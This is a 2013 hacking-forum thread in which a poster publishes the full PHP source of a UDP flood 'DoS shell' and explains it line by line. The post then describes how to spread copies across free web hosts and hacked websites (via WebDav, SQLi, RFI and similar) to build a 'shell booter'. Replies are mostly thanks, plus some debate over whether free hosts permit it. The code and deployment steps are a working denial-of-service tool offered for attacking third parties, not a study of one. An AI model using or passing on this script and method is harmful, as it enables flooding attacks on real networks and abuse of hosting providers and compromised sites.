

Forum:[Hack Forums](#)

Thread: [\[Shells\] How they work and how to create them](#)

Envy8 - April 23, 2013, 1:58 pm

Hey. I have friends who have asked me quite a bit about shells. I know that using a Virtual Private Server or a Dedicated Server will yield much greater results than the average "Shell Booter", and I know that shells are Old. This is to try and educate those who wish to learn

Advantages of Using Shells to (D)DosNo power limit

Unlimited Supply (so long as you create more)

Free (except hosting, however you can get that for free too)

Disadvantages of Using Shells to (D)DosAPI/Servers have much more power than a shell

Lots of work required to get many shells

Old

Questions

What is a shell (DoS Shell)? A shell is a script hosted by any type of server that allows you to packet flood an IP.

What is a "GET"/"POST" Shell? GET and POST are the methods the attacks are sent by. The main methods of shells that I'll cover will be using the UDP protocol.

Why not the TCP Protocol? TCP requires a 3 way hand shake. While I know, not replying to the ACK packet can synchronously DoS a web server, in my opinion UDP is stronger by brute force. However, if you wish, you can look up TCP Shell PHP script, and use that in place of UDP shell. However that would only be best if you plan on DoSing web servers that have Ddos mitigation, because the connections look real.

UDP Flooder Shell Script (PHP)

PHP Code

```
<?php
<html> ##Start Part 1##
<body>
<center>
<font color="00FF00">
<pre>
##Put your name here if you want##
</pre>
```

```

<title>##Title, do as you wish##</title>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style> ##End Part 1##
<?php ##Start Part 2##
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>"; ##You can include this if you want. Shows start time.##
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
        $out .= 'X';
    }
    while(1){ ##Part 2a Starts here##
        $packets++;
        if(time() > $max_time){
            break;
        }
        $rand = rand(1,65000);
        $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
        }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) .
    " MB) packets averaging " . round($packets/$exec_time, 2) . " packets per second \n";
    ##Part 2a Ends Here##
    echo '<br><br>
<form action="'.$url.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">

```

```

Host: <br><input type=text name=host value=><br>
Length (seconds): <br><input type=text name=time value=><br><br>
<input type=submit value=Go></form>';
}
?> ##End Part 2##
</center> ##Rest of Part 1##
</body>
</html>

```

Lets Discuss!

Part 1

This is the HTML part of the script. It's what makes the shell look 'cool', and it's not really necessary if you're just calling the URLs from an external script. However it's probably worth keeping, just so when you go back and check to see what is working and what isn't, it might make it easier.

Part 2

This is the PHP part. Lets examine it closely.

```
if(isset($_GET['host'])&&isset($_GET['time']))
```

Checks to see if there is a request being sent (via GET). If there is, it runs the flooding portion. If not, it runs the code after Part 2a.

```
for($i=0;$i<65000;$i++){
    $out .= 'X';
}
```

Fills up the variable \$out with 65000 'X's. Why? Well the max size a UDP packet can be is 65,535 bytes. However a UDP header (8 bytes) and an IP header (20 bytes) is added on automatically, meaning the max size is 65,507. A big packet = more data for the target of the flood to receive.

```
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
    fwrite($fp, $out);
    fclose($fp);
}
```

This is the flood. 'udp://' specifies that it is a UDP packet. You could do tcp://, however that would be dumb because you're adding two additional steps (handshake < one way) which will slow things down. So best not, unless you know how to drop the ACK packet. Which I already explained the use of. Anyways, \$host appends the IP to the UDP packet information string. \$rand picks a random host. If you know enough about PHP, you can feel free to add in a port variable to set. You might also notice the number 65,500 popping up a lot. It's 16^4. I don't know why. Maybe someone can help me on that one. I'm assuming IPv4 addresses take 16 bits in 4 different sections separated by the period. I could be wrong. Anyways, the other params won't mean much to you. fwrite sends the packet, and fclose closes the socket. Notice that this is in a While loop. This is why it is a flood.

The rest of this stuff

Displays the form that grabs the data from user input. However it isn't necessary if you are just calling the shells with the GET data already added to their URL.

Okay. We're done with the shell. So what do you need to do? Copy that, or re write it as you please, remove the `###xxx###` comments, and if you want, you can put in the title and any ASCII graphics/text you wish to include between the `<PRE>` tags, and change the title in the `<TITLE>` tag. Then save this as "yourshellname.php" (using Notepad++, or whatever text editor you use).

So this file is your shell. What next?

Search the forum for 'WebDav Exploit', which is a way of easily uploading shells. It's not commonly used anymore (WebDav, that is) , or at least not used in a way that can be exploited, so this might take some time to do...

Host a shell on your own VPS/Dedi (although Perl would probably be better to DoS with if you have a server haha)

Hack websites (XSS, SQLi, RFI, LFI, to name the most common ways that I know of) and upload these shells.

Read the lime green text. It will probably hurt your eyes. Oh well.

The green text I said to read
Go to 5gbfree.com

Make an account, and confirm your email (the free account, obviously)
Login to the c panel (or use FileZilla with the FTP details they emailed you with the c panel details) and upload the shell you made earlier.

This is just one site for free hosting. You need to realize that unless each account has a throttled (<--- not sure if this is the right term) up link, creating multiple shells on the same host is pretty dumb. You can have one \$20 bill, or two \$10 bills. That's an analogy. So Google "Free hosting" or something unique (if it's unique, not as many people will use it, if any, which means more power for you!), and do the same thing. Alright, that's done.

NOTE: Not all free hosts will work. If `fsockopen` or `set_time_limit` is disabled, it will not work correctly. If they kill scripts, then that will not work either. So you need to look quite a bit!

Yellow = I know PHP and wish to make a "booter"
Purple = I don't know PHP that well

So regardless of what methods you used, you should have a shell looking like this :
<http://www.TheSiteIMade.TheHostingIUsed.com/MyShellName.php>

Add `?act=phptools&host=' . $ip . '&time=' . $time` to the end of it.
Put all these shells in a notepad file okay?

Leave the shell as it is, just put the link to it in a file somewhere you wish to keep it... For God knows what reason...

You should know what to do with these if you know PHP. If you know what to do, then this is the end. Thanks for reading :) Hope this helped. If not, read the purple.

Do you want to make a "Shell Booter"?

Yes ---> Go here : [Thanks for reading :\)](#)

No ---> Thanks for reading :)

originalserv3r.exe - April 23, 2013, 2:00 pm

nice man! this was exactly what i was lookin for, a tut on shells, tnx for sharing :)

Envy8 - April 23, 2013, 2:01 pm

No problem, nice to see it helped someone :)

ifconfig - April 23, 2013, 2:17 pm

I found your guide very easy to understand! Thank you!

Envy8 - April 23, 2013, 2:21 pm

No problem :) I read over it a couple of times to keep it easy to read haha

MattiasR - April 23, 2013, 2:23 pm

You know, you can't use shells on free hosting servers.

"The Anonymous" - April 23, 2013, 2:24 pm

Really nice thread. Well detailed & easy :)

Envy8 - April 23, 2013, 2:26 pm

(Apr 23, 2013 02:23 PM)MattiasR Wrote: [\[CITE\]](#) You know, you can't use shells on free hosting servers.

Read the green text. <<Proof

I know for a fact you can, I've done it on tonnes. Just have to find the right ones.

Boredx - April 23, 2013, 2:32 pm

This was crystal clear, and at least try to explain to people where they should look at.

If I could +REP you, i would definitely.

MattiasR - April 23, 2013, 3:32 pm

(Apr 23, 2013 02:26 PM)Envy8 Wrote: [\[CITE\]](#) Read the green text. <<Proof

I know for a fact you can, I've done it on tonnes. Just have to find the right ones.

It says that it sends data, but it doesn't.

juni103 - April 23, 2013, 3:40 pm

that is called the great effort, i want be a good coder

Envy8 - April 23, 2013, 4:07 pm

(Apr 23, 2013 03:32 PM)MattiasR Wrote: [\[CITE\]](#) It says that it sends data, but it doesn't.

Well if you really don't believe it, get a VPS, host a D-Stat, and check outgoing / recvd. Two main things I check for when looking to exploit free hosts, 1) fsockopen + set_time_limit 2) Check to see if they have anti script, or anything that kills scripts. I'm not going to post either of these on a tutorial that I made for those who wish to learn. Sure, the site has to allow it. But the point isn't specifically to upload shells for free. It's a possibility on some hosts, not guaranteed.

SurF3nt - April 24, 2013, 5:16 am

thanks for this tutorial and understanding to me it helps me alot

Envy8 - April 24, 2013, 1:34 pm

No problem :) Took a lot of time to write haha

autorunman22 - May 10, 2013, 2:33 pm

this is cool tut :) bookmark'd this one. thanks dude.

Envy8 - May 10, 2013, 2:36 pm

No problem :) glad to know it helped people.

??ph??l - May 20, 2013, 8:24 pm

Hey. Thanks for the detailed tutorial. I have two questions:

1. Would it be possible to run shells off a free webhost as opposed to a VPS/Dedi or would that just be way too weak?
2. You said you could use these shells when "hacking websites". Aren't booter shells and website-hacking shells two completely different things?

Thanks and sorry for being a noob :(
Warm regards,
Raphael.

Envy8 - May 20, 2013, 8:51 pm

Well yeah. You can. That's what the second half of my guide shows how to do :) And like, c99 is a web hacking shell, but for a different purpose. This is a specific type of shell, flooding one

Black Reaper - May 20, 2013, 8:53 pm

Great guide it will help lots of people thanks :)

(May 20, 2013 08:24 PM)R4ph431 Wrote: [\[CITE\]](#) Hey. Thanks for the detailed tutorial. I have two questions:

1. Would it be possible to run shells off a free webhost as opposed to a VPS/Dedi or would that just be way too weak?
2. You said you could use these shells when "hacking websites". Aren't booter shells and website-hacking shells two completely different things?

Thanks and sorry for being a noob :(
Warm regards,
Raphael.

i think you should change the color.

Envy8 - *May 21, 2013, 3:33 pm*

Thanks :) Appreciate the rep. Took a while to make